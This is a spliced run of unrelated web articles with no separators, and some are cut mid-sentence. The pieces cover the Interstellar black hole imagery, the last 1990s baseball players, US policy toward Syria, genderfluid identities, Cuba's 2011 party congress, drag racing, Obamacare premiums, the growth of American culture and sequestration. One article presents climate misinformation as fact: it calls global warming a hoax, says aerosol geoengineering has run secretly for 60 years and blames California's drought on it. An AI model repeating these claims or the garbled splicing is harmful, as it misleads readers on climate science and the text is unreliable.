Computer simulation of a spinning black hole made for the film Interstellar. Warner Bros. UK At first, the team thought there was a bug in their system, but Throne soon realized it wasn't a glitch, but a direct result of the calculations. This unexpected light halo offers scientists new insights into how light behaves around a spinning black hole. It was a triumph for both Thorne as a scientist and director Christopher Nolan.
When Nolan first called upon Thorne's expertise for the film, he anticipated that the special effects team would have to tweak the scientifically-accurate image to make it more aesthetically appealing and understandable to audiences.
However, the shocking, gorgeous results that came from Thorne's physics equations was more than Nolan or Thorne could have hoped for and what audiences will see in the film.
"What we found was...we could get some very understandable, tactile imagery from those equations," Nolan said in the video. "[The equations] were constantly surprising and it spoke to the maxim that truth can be stranger than fiction."
Thorne is planning on writing up the team's efforts in two scientific papers: one for the astrophysics community and one for the computer science community.
Check out the full video "Interstellar — Building a black hole" from Warner Bros. UK:In early 2010, my friend Kostya and I began taking note of which active players in Major League Baseball had played in the 1990s. The difference between the 1999 and 2000 seasons have always seemed large to me. Not only had the millennium changed, but the Giants had changed ballparks, separating the two neatly into different eras. In 2011, Kostya and I created a list of all the players left in the big leagues that had appeared in a game in 1999 or earlier. There were 76 names on the list, or, about 1% of all active players. One of the players, Omar Vizquel, was the last remaining player from the ’80s. It occurred to me that, soon, a team wouldn’t offer Vizquel a contract, or he’d retire, and the book on players who played in the ’80s would be closed, forever.
A fear had woken inside of me: there would one day exist a moment where a pitcher would stand on a mound, deliver a pitch, and, in no possible situation whatsoever could a player from ’90s have anything to do with the circumstances that followed that pitch. There wouldn’t be a single player who played at the Astrodome, at Tigers Stadium, or at Candlestick Park. Every player left would be from “this” era, not the one that I grew up in. The book on players from the 20th century would be closed. Forever.
Although Jamie Moyer attempted to steal the title of “Last Remaining Player From The Eighties” by making the Rockies’ rotation in 2012, Vizquel lasted on the Blue Jays until the final day of the ’12 season, while Moyer was off of the Rockies’ roster in July. At the start of 2013, only players from the ’90s and 2000s remained.
Kostya and I only updated the list once or twice over the next two seasons, and it faded to the back of my mind. Halfway through the 2015 season, reporters asked Giants pitcher Tim Hudson if he was still planning on retiring at the end of the season, which Hudson said he was. Curiosity struck, and I looked up what year Hudson had debuted with the A’s. Of course, it was 1999. Instantly, I began scanning the major league rosters in my brain, trying to re-compile the list. After a bit of research and double-checking to make sure I hadn’t forgotten anyone…I found out that someone else on the internet had done all of the work that I had just done, and had made a sporcle quiz from their work. Remember friends, always assume someone else on the internet has done what you were planning on doing!
By the end of the 2015 MLB regular season, there were only 13 players left who had appeared in the ’90s. Three of those players firmly stated their intention to retire at the end of the season, and at least four will be free agents after 2015. We’re still a few seasons away from being void of ’90s players, but dark times are certainly ahead. (Pour one out for Bruce Chen, who pitched 6.1 innings over a week in May 2015, was DFA’d by the Indians, and then retired two days later.)
Here’s a list of those 13 players, in order of the likeliness that they’ll be the last remaining player from the 1990s. Included is their age, followed by the date they debuted:
13-11(tie):
AJ Burnett (38, 8/17/99)
LaTroy Hawkins (42, 4/29/95)
Tim Hudson (40, 6/8/99)
All three players said that 2015 will be their last. Hudson’s season ended with the Giants two weeks ago, Burnett’s Pirates lost in the NL Wild Card game to the Cubs, and Hawkins’ Blue Jays are currently tied 2-2 with the Rangers in the ALDS (edit: on to the ALCS!). Hudson was the active leader in wins, and had a win against all 30 major league clubs. Hawkins is the oldest active player in the big leagues, an honor that, once he retires, will transfer to…someone else on this list (the same player will also become the active leader in wins). He also was the losing pitcher in Game 2 of the series against the Rangers.
Darryl Strawberry was 1-for-4 in his career against the 76-year-old announcer of this game, and |
movement of the Syrian Ambassador (25mi/40km radius from the UN), in order to censor his successful cross-US Town Hall Meetings. This censorship overlapped the Obama State Department closure of the Syrian Embassy, in DC. This is the same State Department that threw an anniversary gala — paid for with bipartisan US tax dollars — in celebration of 4 years of terrorism against Syria, on 13 March 2015.
This is the same Democratic State Department that stood shiva during the first official meeting of President Obama and President-Elect Trump.
The Republican President Trump took office on 20 January. Democratic restrictions against Syria’s ambassador have not been lifted. The Syrian Embassy remains closed (madness, to repeat Hollande’s inaction, and madness because Erdoganstan — formerly Turkey — is leader in producing counterfeit Syrian passports). In lieu of a return to “greatness,” this American writer sees only an acceleration of the war crimes of the previous administration.
AdvertisementsFoxx is “genderfluid” — one of several relatively new terms to describe people who consider themselves some combination of male and female. “I’m a way better person since I started identifying this way,” said Foxx, who recently moved from Minneapolis to California and is developing a genderfluid clothing line, Label Killer.
Tim/Kimberly Walker, 51, a self-employed engineer in St. Paul, uses a two-sided business card, with one side showing a picture of Tim, a rugged man with a shaved head, and the other side showing Kimberly, a smiling woman with side-swept bangs, a V-necked dress and a chunky necklace.
“I have gone to clients as both,” Walker said. “I enjoy being both, and I took ownership of it.”
Gender is a fixed fact of life for most people, from the moment the doctor says “It’s a boy” or “It’s a girl.” But a small yet increasingly visible segment of the GLBT community is challenging the idea that every person must live as one gender or the other. Instead they’re choosing to live openly — personally and professionally — as both, or somewhere in the middle.
People who experience a blending or alternation of gender states are recognized by the American Psychological Association as a subset under the umbrella term of transgender. But unlike some transgender individuals, such as recent Wikileaks newsmaker Bradley-turned-Chelsea Manning, who seek to transition to the gender that reflects their inner gender identity, some people prefer not to be confined by “binary” gender at all.
Tim/Kimberly Walker of St. Paul is a dual-gender person who lives and works under both identifies.
“I’m a person in-between,” said Roxanne “Andy” Anderson, 44, co-owner of Cafe Southside in Minneapolis and program director of the Minnesota Transgender Health Coalition. “I can be passable either way.”
Genderfluid people are finding support online, on Facebook groups and blogs targeted to the “genderqueer,” “gender non-conforming,” “bigendered minority” and “gender renegades.”
“It’s becoming more prevalent — with younger people, in particular,” said Lauren Beach, a Minneapolis attorney who organized the academic component of a recent conference on bisexuality at Augsburg College.
“The conversations we’ve been having about sexual orientation are the same conversations we’re having now about gender identity,” said Jason Jackson, assistant director of the GLBTA (gay, lesbian, bisexual, transgender, ally) program at the University of Minnesota, which sees “a lot of people” who describe themselves as genderfluid or genderqueer, according to Jackson.
Less stigma
The American Psychiatric Association (APA) recently updated its Diagnostic and Statistical Manual of Mental Disorders to replace “gender identity disorder” with “gender dysphoria.” The new classification removes the stigma-laden “disorder” in favor of a term to describe those who experience distress over a discrepancy between their biological sex and their experience of gender, according to Ken Zucker, the Toronto psychologist who chaired the APA’s sexual and gender identity disorder work group.
“The primary goal was to make it applicable to people experiencing distress and to keep out of gender preferences,” said Dr. Jack Drescher, a New York City psychiatrist, also a member of the work group. A diagnosis of gender dysphoria maintains access to medical care, including counseling, hormones or surgery, all of which require a diagnosis for insurance coverage.
And gender-related distress is on the rise, according to Zucker. “Gender dysphoria is coming out of the closet. Everybody [clinicians] is experiencing a notable increase in rates of referral.”
Why the increase?
“One hypothesis is that there’s less stigma, so more people are acknowledging their feelings,” Zucker said. “Another is that the Internet allows people to look for information about how they’re feeling. I see a lot of adolescents who say, ‘I didn’t know there was a word labeling what I’m experiencing.’ ”
When Foxx discovered the term genderfluid, “I was so happy — I felt like I was owning myself.” Growing up male, “I never felt like I fit in with boys, playing sports,” Foxx said. “I wanted to dance, do what the girls did. I’m not a typical competitor. I’m more of a creative person. I thought if I’d born female, I’d be happier.” But Foxx wasn’t interested in pursuing a surgical gender transition. “I love my body.”
One morning, “I had an epiphany,” Foxx recalled. “I’m an individual. If you want people to see you as just a person, take away the other stuff.”
Anderson, who grew up female, has been genderfluid “all my life,” she said. As a child, she was considered a tomboy because she liked “boy things: climbing trees, trucks, rebuilding bicycles and getting dirty. The girl stuff wasn’t appealing.” Later, as a young athlete, she successfully petitioned her school to allow her to play on the boys’ softball team. Then at 20, she fell in love and married her college sweetheart, a man to whom she was wed for 10 years, and had a son.
Now in a relationship with a woman, Anderson identifies as “genderqueer. Saying that wraps my sexual identity and gender identity into one word,” Anderson said. “The box of ‘woman’ doesn’t fit me. I don’t look at things the way most of my female-identified friends look at things.”
Melting pot
Like Foxx, Anderson isn’t interested in surgical gender transition. “It doesn’t feel important enough or appealing enough to go through that crap. Transexualism is so medicalized. We haven’t been looking at gender without the medicalization. It’s so new, there’s not a lot of development around it.”
Tim/Kimberly Walker of St. Paul is a dual-gender person who lives and works under both identities.
Walker, who grew up male, said he relates more to women and prefers to dress as a woman in some situations. “It’s a social interface I like better,” Walker said. As Kimberly, Walker feels more approachable and less intimidating. “If I’m in my bald head in a bar, I scare people. When I’m Kimberly, I feel more like a mom.”
But Walker prefers to be Tim for certain activities, including dancing, wind-surfing, hard manual labor — and dating, at least initial dates with women. Married to a woman for 11 years, Walker now divides life about 50/50 between being Tim and Kimberly.
“For a lot of people, it’s confusing, but I enjoy being both,” Walker said. “What I am has to be lived publicly, or people won’t know there are people like me and will always have a bias.”
Not all people who experience gender incongruence feel distress over it, and much of the distress that many do feel comes from living in a society that doesn’t accept them, according to transgender health experts.
“We live in a culture that’s pretty gender-binary,” said Katie Spencer, a psychologist and coordinator of the transgender health services program at the University of Minnesota Medical School. “There is a lot of pressure on people to pick a box. Lots of practical things — like restrooms and pronouns — push people to pick one.”
Pronouns get complicated when “he” and “she” aren’t options. Some genderfluid people prefer “they.” Others advocate new neutral pronouns, such as “ze.”
“Just call me Toni,” said Foxx. “People get so caught up on how they’re supposed to respond.”
Some anticipate that gender identity will eventually loosen, similar to the way gender roles have evolved.
“Today, a woman can be a chemist or an airline mechanic or a homemaker, and Dad can stay home, raise the baby and put a mean press on Mom’s suit,” said Anderson. “Gender will become less and less of an issue. Like race. We’re becoming a giant melting pot. I’m guessing gender will become the same thing.”HAVANA - On the last day of Cuba's Communist Party Congress, which has already seen the approval of sweeping economic changes, Cubans learned of new leadership - and a possible successor - to the nation's 75-year-old president, Raul Castro.
Castro was named first secretary of Cuba's Communist Party on Tuesday, with his aging brother Fidel not included in the leadership for the first time since the party's creation 46 years ago.
Despite raising hopes during the gathering that a new generation of leaders was poised to take up important positions, Raul announced that Jose Ramon Machado Ventura, an 80-year-old longtime confidante, would be his No. 2.
Ramiro Valdes, a 78-year-old vice president, was named to the No. 3 spot. Several younger people were added to the 15-member leadership group, but in lesser positions.
Fidel Castro, 84, made a surprise appearance at the gathering, receiving thunderous applause from the 1,000 delegates assembled in a vast convention center in the capital, Havana.
Many of the delegates could be seen crying as the former president was helped to his place on stage by a young aide, then stood at attention next to his brother during the playing of Cuba's national anthem.
The revolutionary icon looked unsteady on his feet as he clutched the aide's arm, and at times slumped in his chair. He wore a blue track suit top over a checked shirt.
In an online blog posted this morning, Fidel Castro wrote that he will no longer be a member of the Central Committee of the Party, notes CBS News' Portia Siegelbaum.
He also recounts discussing with Raul the need to put more women and blacks on the Central Committee, noting that Raul spoke about some current members who because of their age or health could no longer contribute much but for whom removal from the Committee would be a hard blow. Fidel said he suggested to Raul that these people be kept on.
The conflict between bringing in new blood while not wanting to offend the older generation is pivotal in this Congress, said Siegelbaum, who writes that everyone was waiting to see who would be selected as Second Secretary - a possible successor figure. In the end, the 80-year-old Machado Ventura was elected.
Officials called the gathering to set a new course for Cuba's economy and rejuvenate an aging political class composed largely of octogenarians who led Cuba's 1959 revolution.
Fidel and Raul Castro have held the top two spots in the Communist Party since its creation in 1965.
In a speech opening the Congress this weekend, Raul warned that a new generation is needed to take over when the old guard is gone.
He even proposed term limits for officials, including the president a taboo subject during the half-century in which Cuba has been ruled by either him or his brother. The goal is to create opportunities for younger politicians so they can gain experience, Raul said.
In a long opinion piece that appeared in state-run newspapers and websites Tuesday, Fidel Castro said he was all for the term-limit proposal made by Raul, despite the fact that he himself ruled the island for more than 47 years.
"I like the idea (of term limits)," Fidel wrote. "It is a subject on which I have long meditated."
The revolutionary icon said that while in power, "I must confess I was never very worried about how long I exercised the role of president... and first secretary of the party."
The former leader also said he was glad that Raul put the names of their aging revolutionary comrades on a list of potential new party leaders, but that their inclusion was purely honorary, and that both men knew it was time to elect younger leaders particularly women and Cubans of African descent.
Fidel said his brother had shown him his proposals days before sharing them with the Congress, an apparent effort to counter any rumors that the two men disagreed.
"He shared (the report) with me several days ago on his own initiative, just as he has with many other subjects without my asking him," Fidel wrote.
On Monday delegates approved about 300 economic proposals in a unanimous vote including a measure that apparently recommends legalizing the buying and selling of private property.
Also on the table was a proposal to eventually eliminate the monthly ration book, which provides Cubans with a basic basket of heavily subsidized food and other goods.
Other measures envision providing seed capital for would-be entrepreneurs and eliminating the island's unique dual-currency system.
"The economic policy (approved here) follows the principle that only socialism can preserve the victories of the revolution," said Marino Murillo, an ex-economy minister in charge of implementing the reforms.
Cubans were treated to a two-hour broadcast on state-run television late Monday of Communist Party committee members debating the finer details of the package of proposals, which have not yet been made public, although they are based on ideas that have been discussed extensively in recent months.
Delegates could be seen referencing subclauses by number and flipping through pages in front of them, as projectors juxtaposed close-ups of original and revised texts.
At one point, a committee discussing changes to agricultural laws voted on a small change in the wording of a sentence covering artificial insemination of livestock.
"We need to emphasize in the guideline that we should be aiding genetic development and artificial insemination," said one delegate.
"We are in agreement with the proposal," another committee member replied, before the discussion turned to ways to spur greater milk production.
The Party Congress does not have the power to enact the changes into law, but the suggestions are expected to be acted upon quickly by the National Assembly over the coming days and weeks.The man most responsible for John Force’s career success – other than Force himself – is coming back to lend a hand.
Force exclusively confirmed to NBCSports.com that former crew chief Austin Coil will “help out” during the upcoming 2016 NHRA season.
“Coil said to me, ‘You’ve managed to screw this up, but I can help you’,” Force said with a laugh during a phone interview from NHRA preseason testing in Phoenix. “He’s helping me, to help the people with me, to look at the things we need to get this thing right.”
And even though Force is now 66 and Coil is 70, they believe they can regain some of their old magic together. Force has also brought back former tech whiz Ron Armstrong into the JFR fold.
“We’re putting the old band back together,” Force said with a laugh.
As for what Coil’s role will be exactly, Force was quick to point out Coil will not return to his old crew chief role, nor will he be considered a “consultant” or “advisor” or even an employee of John Force Racing.
Rather, Coil simply wants to “help out,” Force said.
“Coil, I want to be clear, is not going to come out here on the road, he doesn’t want to do that,” Force said. “But he’s helping us with stuff.”
Coil will not have an office at JFR and will work at his own pace, Force said. But given that Coil called the shots for 24 years before, Force is more than happy to let his old buddy “help out” in any way he sees fit.
“I’m really excited to have him on board and helping out,,” Force said. “Just talking to Coil, for me, we’ve only had three or four lunches together, but just talking helps get my heart back right. He made me who I am and I’m never going to forget that.
“I asked Coil what did I do wrong? He said, ‘You’ve been on overload. You had good people and you lost some. What you have to do is get back on track.
“He told me to split the team in half, start building the dragster side (with 11-time Top Fuel champion Alan Johnson overseeing the team with Force’s daughter, Brittany, behind the wheel), and on the other side, build the Funny Car side, and that’s what we’re doing.”
First joining forces in 1986, Force and Coil went on to become the winningest driver-crew chief combination in NHRA history, earning 15 Funny Car championships and 132 national event wins together.
Coil abruptly retired one day after leading Force to his 15th NHRA Funny Car championship in 2010.
Since the breakup, Force has won just one additional Funny Car championship (2013) and 11 national event victories. The veteran driver is coming off an especially tough 2015 season, one he calls “my worst season in 25 years,” finishing seventh in the standings and recording just two wins (Las Vegas 1 and Epping, New Hampshire).
Coil had resisted prior efforts to return to the JFR fold. But when Force came calling over the winter, Coil apparently had a change of heart.
“Over the winter, Robert (JFR president and Force’s son-in-law Robert Hight) and I got together (with Coil) and said, ‘Let’s talk about things,’” Force said. “We knew there were issues. He quit, he walked away, he said he just didn’t want to do this anymore. I thought he might be going to Schumacher (arch-rival Don Schumacher Racing), but that’s not where he went.
“He said, ‘I’ve done my thing, I’ve won’ and we really were best of friends. He said to my face, ‘I love you, Force, I always have. But I’m in a different mode in my life of what I want to do. I’m in retirement, I can’t run to the airports like I used to.’
“He’s the one that put me here 25 years ago. Thirty years ago, we started building it. People give me the credit for it, but no, it’s the people I put around me like Coil, Armstrong, Mike Neff (crew chief for Hight and director of operations for JFR) and with AJ (Alan Johnson) coming in here and Brian Husen (as Brittany Force’s crew chief).”
With Johnson now running the Top Fuel side of JFR, and with Coil’s input, Force is very optimistic about his four-car organization’s chances in 2016.
“I always listen to Austin Coil,” Force said. “He says let Alan Johnson run that dragster, he’ll put your kid in the winner’s circle, and let Mike Neff run that Funny Car. He’s won championships for you and he’s going to build those Funny Car teams to where they need to be.
“So, I’m excited about it. We’re going to be okay. We’re going racing now.”
Follow @JerryBonkowskiInsurers have until Sept. 5 to reveal what they will charge for coverage through Obamacare's exchanges next year. They are required to finalize their rates by Sept. 5 -- and sign their contracts by Sept. 27. The numbers they've released thus far aren't pretty.
In Iowa, insurer Medica is seeking a 43.5 percent increase. BlueCross Blue Shield of South Carolina put in for a 33 percent increase. Molina, which is pulling out of most states' exchanges, wants a 55 percent boost in the few markets where it will remain. In Idaho, one insurer is asking for an 81 percent jump.
Obamacare's defenders -- and insurers themselves -- have attributed these rate hikes to the "uncertainty" Republicans have injected into the marketplace. First with their on-again, off-again effort to repeal the law, and second with their indecision about ending the law's Cost Sharing Reduction subsidies.
But a new analysis of premium data from the past four years provides evidence that two regulations at the heart of Obamacare are largely to blame for years of rate hikes. Those regulations are the law's guarantee of coverage to all and its requirement that insurers charge the same premium to all people of the same age, regardless of health status or history.
The analysis was conducted by McKinsey for the Department of Health and Human Services. The consulting firm looked at rate hikes in four states: Georgia, Pennsylvania, Ohio, and Tennessee. Premiums in each had doubled or tripled since 2013 -- the year before Obamacare went into effect.
In Georgia, the average premium for the equivalent of a mid-level "Silver" plan for a 40-year-old male went from $94 a month in 2013 to $323 a month in 2017. In Tennessee, it went from $104 a month to $431.
Some critics of Obamacare have claimed that the law's "essential health benefit" mandates, which require policies to cover certain treatments, bear much of the blame for these premium hikes. According to McKinsey they have raised premiums, but not much. These mandates contributed as little as 5 percent to the hikes in Georgia and Ohio, 7 percent in Pennsylvania, and 1 percent in Tennessee
Obamacare's taxes and fees have boosted premiums, too -- but only between 3 and 7 percent. The general growth of health costs is responsible for 10 percent of the premium increases in the four states studied.
The biggest reason for Obamacare's rate hikes? Two of its most popular provisions, guaranteed issue and community rating. These are the technical terms for Obamacare's ban on insurance companies denying coverage or charging people who are sick more.
The McKinsey report found that in Georgia, these mandates added between 44 and 52 percent to premiums. In Ohio, they were responsible for 41 to 50 percent of the hikes -- and in Pennsylvania, as much as 62 percent. In Tennessee, guaranteed issue and community rating accounted for between 73 and 76 percent of premium increases.
This shouldn't come as a surprise. A study by Milliman, a consultancy, in 2013 predicted that Obamacare's guaranteed issue and community rating rules would sharply increase premiums.
Further, several states experimented with guaranteed issue and community rating in the 1990s. All of them saw premiums spiral upward, insurance companies drop out of the market, and consumers stop buying individual policies. Most of those states ended up either abandoning the two rules altogether or seriously watering them down.
The reason is simple. Guaranteed issue encourages the young and healthy to hold off on buying insurance until after they get sick, secure in the knowledge that insurers can't turn them away. And since insurers also can't charge the sick more, thanks to community rating, there's an even stronger incentive to wait.
Consequently, the insurance pool gets sicker and more expensive, premiums spiral upward, and more and more people exit the market.
Obamacare tried to mitigate these problems by offering generous subsidies to low-income families, imposing a tax penalty on those who didn't buy insurance, and providing only limited enrollment windows. But these "fixes" plainly haven't worked.
Guaranteed issue and community rating are certainly popular. Ninety-one percent of the public supports the two measures, according to an IBD/TIPP poll conducted earlier this summer.
They’re popular largely because people fear that insurers will turn away huge numbers of Americans with pre-existing conditions if the regulations are scrapped.
But other federal laws already protect patients who get coverage through their employers or government programs. Only the 8 percent of Americans who shop in the individual market could be denied coverage without guaranteed issue and community. Most would have nothing to worry about. Pre-Obamacare, insurers turned away one in seven applicants for coverage in the individual market. That’s equivalent to about 1 percent of the non-elderly Americans.
Well-funded, state-run high-risk pools could provide affordable coverage to this sliver of the population. The government could also protect consumers by prohibiting unreasonable rate increases for those who maintain continuous coverage -- even if they develop a costly condition.
Guaranteed issue and community rating are incompatible with affordable premiums. As long as they govern the individual insurance market -- including those in the exchange markets -- coverage will remain out of reach for millions of Americans.Mainstream media is now talking about measures to ‘save the planet’ from non-existent global warming.
One of the greatest hoaxes in human existence is the notion that humans are responsible for catastrophic climate events. But even people who believe such a fairy tale are hard pressed to explain why it is that the environmental movement led by global organizations such as Greenpeace and the Sierra Club, which are heavily financed by corporations, refuse to talk about two very specific issues.
First, fossil fuels are responsible for about 13% of all greenhouse gases sent into the atmosphere, while animal agriculture is responsible for 51% of the total. You would think that so-called environmentalists and their followers would be all over the place asking government to curb wasteful industrial agriculture, but they are not. In fact, most environmentalists aren’t even aware that industrial agriculture causes more damage to the environment than fossil fuels will ever be able to.
Second, Geoengineering, the attempt to manage planetary climate via aerosol spraying, using space mirrors, and ionospheric manipulation, among others, are not and have never been a conspiracy theory or something that has been in testing phases for decades. As we have reported ad nauseum, geoengineering is an everyday practice and has been so for at least 60 years.
Despite the fact that geonegineering has been fully operational for over half a century, more climate extremists talk about manipulating global climate as a novelty and as an option to lack of ‘political will’ to impose austerity policies on human development.
Climate extremists, who are usually presented as climate experts or geoengineering experts, have had their voices echoed more frequently by mainstream media with the only intention to smoothly phase in the chatter about geoengineering as the only solution to save the planet from non-existant global warming.
From globalists falsifying temperature records, to the assignment of blame over elements that do not cause global warming, climate extremists are now ganging up to create strong support for what they call plan B. This plan B involves changing the Earth’s climate with a manual override. “Engineers and climatologists have already written a lot about the technologies that could cool it. Now, some want to take their experimental computer models to real life,” writes El País, a Spanish newspaper that reports on geonegineering as the newest road to follow if we want to save ourselves.
Behind the word geoengineering there is a range of technologies that share the same point of departure and arrival. If humans fail to reduce emissions of CO2 and other greenhouse gases the climate extremists see themselves as charged with the task to change the weather to cool the planet. It is not a surprise that mainstream media have gone from totally ignoring geoengineering practices to lying about them in such a short time. It is also not a surprise they only talk about the more mundane practices to carry out geoengineering at a large scale.
Most media outlets only report on measures such as painting roofs and facades to reflect sunlight, setting up giant mirrors in space to create areas of planetary shadow and CO2 capturing, as the most important practices. They don’t go near aerosol spraying, the most common geoengineering practice that has been around for decades now.
Aerosol spraying is a two-stage practice. It blocks solar radiation while contaminating the environment in which we live including the soil and the water; yet climate extremists see it as part of the equation to reduce natural solar radiation from reaching the planet. “If we do not restrain emissions and global mean temperatures exceed the threshold of 2 degrees, we need to introduce new elements into the equation,” say some geoengineers. This notion has been widely discredited by true climate scientists as old predictions about temperature rising have not taken place.
According to some climate terrorists, although the Sun is not to blame for human emissions, reducing its radiation could lower temperatures. But neither are the oceans or the soil guilty of anything, however, aerosol spraying punishes soil fertility and oceanic ecosystems daily anywhere this technique is used.
Along with geoengineering from space, management of solar radiation and capturing CO2, climate terrorists have other ideas they would like to implement:
“The failure of our politicians to achieve concrete measures to reduce emissions of greenhouse gases is worrying scientists and causing many of them to start thinking about extreme measures,” says climatologist Ken Caldeira, from the Carnegie Institution of Washington. Mr. Caldeira is considered one of the foremost experts on global climate change, and he has always been a big supporter of geoengineering.
Although publicly he does not consider himself a faithful supporter of geonegineering, he is actively been studying alternatives if all else fails. “I support small-scale experiments to help build knowledge about the basic processes related to solar geoengineering” he explains.
“What I do not support, at least for now, are the experiments that aim to develop technology deployment,” he says.
Unfortunately, Mr. Caldeira has not heard the news about the ongoing geoneginering programs led by the military and private contractors. He probably has not heard about existing patents for deployment technologies, and he certainly has not seen the planes spraying heavy metals right over his head.
In a report to the US government prepared by Caldeira and twenty other scientists in 2011, they concluded that the management of solar radiation is perhaps the most radical technology but also one of the most effective ways to cool the planet. That is a very cheerful conclusion for someone who would not like to mess up with the planet’s climate.
What Caldeira and his team say is that they think it is a good idea to play with the sun, but most geoengineers look at the clouds. While some want to set up mirrors that reflect some of the light, others are said to be studying how to make clouds more permeable to radiation and heat so that they can escape into space. That is exactly what the geoengineering programs have been doing for over half a century. The implementation of geonengineering programs have been creating “alternative cloud systems” that block sun light at a specific location. This phenomenon is seen daily over large cities worldwide.
The closest climate terrorists have been to completing one of these experiments was in 2011. Then, engineers and British climatologists devised the SPICE project, the Stratospheric Particle Injection for Climate Engineering. The project allegedly sought to inject aerosols such as sulfur dioxide in the upper layers of the atmosphere to increase the refractive clouds. Mr. Caldeira and his peers are decades late since this is exactly what other climate terrorists have been doing since the 1960s.
“SPICE is still investigating stratospheric aerosol injection. Part of the project was to study the injection from a balloon and a part of this plan was to build the prototype airship.” For various reasons, the scientists decided not to go ahead with this project,” says Piers Forster, principal investigator of SPICE.
The controversy that marked the plan between the public and the British scientific community itself led to the creation of a a study to determine the feasibility of various geoengineering projects but also their possible side effects. “You can learn a lot, as indeed we do, harsh simulations and laboratory studies without carrying experiments on the street. But overall, I think we need to develop both together,” says Forster.
Another fruit of SPICE was the demonstrated need to regulate geoengineering. Even at a small scale, these experiments can alter rainfall patterns and winds. It is not a secret that the State of California has been submitted to massive geoengineering manipulation which is why it has been under drought conditions for such a long time.
As clarified by the British scientist, “it is difficult to create a legal framework if you don’t know what you’re regulating and what you‘re protecting. Therefore, we need to have some idea of the technology. But on the other hand, it would be unethical to start regardless of the good supervisory practices and governance to establish large-scale experiments,” he adds. Mr. Forster is apparently ignorant about the large scale experimentation that has been going on for decades.
In route from the simulations that the large scale experiments is Scopex. Designed by scientists at Harvard University, this project aims to inject aerosols into the stratosphere. Scopex also wants to study how would the injection of aerosols affect the ozone layer, lest the remedy aggravates the disease. The proposal, detailed in a special issue of the journal Philosophical Transactions of the Royal Society, aims to inject several hundred grams of sulfuric acid to see if solar radiation management works without damaging the ozone layer.
“The idea of conducting experiments to alter atmospheric processes is understandably controversial, but our Scopex experiment is only a proposal,” says one of its promoters, David Keith. Its aim is to be in place in 2017 but, as he says, “it can only go forward if public funding is substantial, with a formal approval process and a study of independent risks,” he adds in a note. These climate terrorists want humanity to pay for their own demise by financing the poisoning of the air, water and soil as a solution to non-existent global warming.
“The level of funding for a project to counter climate change would be unheard of in the history of mankind,” says Joan Pau Sanchez, a researcher at the Polytechnic University of Catalonia.
“A project like this would cost about 1.5% of world GDP,” he adds. To get an idea, that would be 30 times the dollars invested in the Apollo program that put a man on the moon. Effectiveness, cost and governance are the obstacles faced by geoengineering. That is why more global leaders are now calling for a Global Green Government that would be able to implement the systematic poisoning of humanity to a scale that we have never seen before.
Luis R. Miranda is an award-winning journalist and the founder and editor-in-chief at The Real Agenda. His career spans over 18 years and almost every form of news media. His articles include subjects such as environmentalism, Agenda 21, climate change, geopolitics, globalisation, health, vaccines, food safety, corporate control of governments, immigration and banking cartels, among others. Luis has worked as a news reporter, on-air personality for Live and Live-to-tape news programs. He has also worked as a script writer, producer and co-producer on broadcast news. Read more about Luis.Whatever happened to the television test pattern? No more than 20 years ago, most TV stations routinely signed off the air for at least a few hours a day. At the end of their broadcast period, stations would slap a test pattern up on the screen until the next morning’s programming began. The test pattern—occasionally an absurd drawing of a Native American but more often a simple geometric shape adorned with call letters—was a great symbol of cultural dead space, of a moment when nothing was happening, when nothing was being transmitted, save perhaps for a monotonous electronic hum.
While some stations still do sign off, they are increasingly rare in a hyperkinetic, always-open America that has shifted fully into 24-7 mode (indeed, one promise of much-hyped digital TV is that it will allow an individual channel to subdivide itself four or more times). If the test pattern symbolized a moment of silence in the cultural process, then it’s only fitting that its long run has effectively been canceled.
Similar developments range far beyond the small screen. During the past few decades, we have been experiencing what can aptly be called a “culture boom”: a massive and prolonged increase in art, music, literature, video, and other forms of creative expression. Everywhere we look, the cultural marketplace is open and ready for business: The number of places where you can buy books has more than doubled during the past 20 years, while the number of libraries has increased by about 17 percent (to a total of almost 37,000). More than 25,000 video rental stores are scattered across the United States, effectively functioning as second-run theaters and art houses even in the most remote backwaters (a few years back, I was able to rent the 1930 Marlene Dietrich film The Blue Angel while visiting friends who lived five miles outside a town of 3,000 people in rural Ohio).
More than 110 symphony orchestras have been founded since 1980, reports The Wall Street Journal, which also notes that the national 1997–98 theatrical season “raked in a record $1.3 billion in ticket sales.” About 3,500 commercial radio stations and 670 commercial television stations have come on the air since 1970; during the same period, cable viewership has quadrupled, while niche channels such as American Movie Classics and the Independent Film Channel have become more and more common.
The increasingly important World Wide Web has provided space for all sorts of commercial and noncommercial culture, ranging from authorized sites for the Louvre (featuring a virtual tour) to a reader-compiled database of more than 180,000 movies to translations of Dante’s sonnets to fan-generated art about the cartoon Josie and the Pussycats. Especially in video and music production, where equipment costs were once prohibitive enough to seriously limit access, there is a flourishing, self-conscious “do-it-yourself” movement that has taken great advantage of cheaper technology and distribution methods.
In an important sense, such cultural proliferation is nothing new. It’s part of a broad-based, centuries-old trend that also includes generally longer lives, increased wealth, and the greater personal autonomy that accompanies such developments. But there’s also a sense that we’ve reached a tipping point, or at least turned a corner, in the past few years. More and more, people are not merely consuming culture but creating it as well.
In fact, in a world of $100 VCRs, bargain-basement PCs, CD- rewritable drives, and other technologies that allow users to copy and manipulate images, words, and sound in ever-new and seamless ways, even the sharp distinction between producer and consumer seems increasingly blurred. In economic terms, the opportunity costs of both making and enjoying culture have dropped through the floor; it keeps getting cheaper and cheaper both to produce and to consume culture under increasingly diverse circumstances. One predictable—and positive—result: more and more of everything.
Here’s another: Gone for good are the days when serious cultural critics, whether on the right or the left (and whether rightly or wrongly), could nod toward Tocqueville and Mrs. Trollope and bemoan a scarcity of “culture” in America. Instead, the contemporary descendants of such folks are more likely to make the sort of claim Slate’s Jacob Weisberg did recently in a review of economist Tyler Cowen’s In Praise of Commercial Culture. After granting that the United States does in fact offer a dizzying array of cultural opportunities, Weisberg complains: “What we lack is a flourishing common, or national, culture. Contemporary classical music goes unperformed, foreign films have no audience, and hardly anyone reads |
just those that affect the powerful air travelers of America. We ought to help them, but we ought to help everybody else as well.”
Republicans, many of whom have learned to embrace sequestrations as a means to slash federal spending and cut into the $16.8 trillion national debt, dismissed the objections and countered that the air traffic controllers’ situation was intentionally ginned up by the Obama administration to create thousands of hours of travel delays and rally opposition to the agreement.
“The disruption to America’s air traffic system over the past week was a consequence of the administration’s choice to implement the president’s sequestration cuts in the most painful manner possible,” said House Speaker John Boehner (R-Ohio). “It’s unacceptable that the FAA chose not to plan for sequestration or utilize the flexibility it already has. Americans were rightly fed up, and it’s unfortunate that the House and Senate were forced to step in and fix the problem when the president chose not to act.”
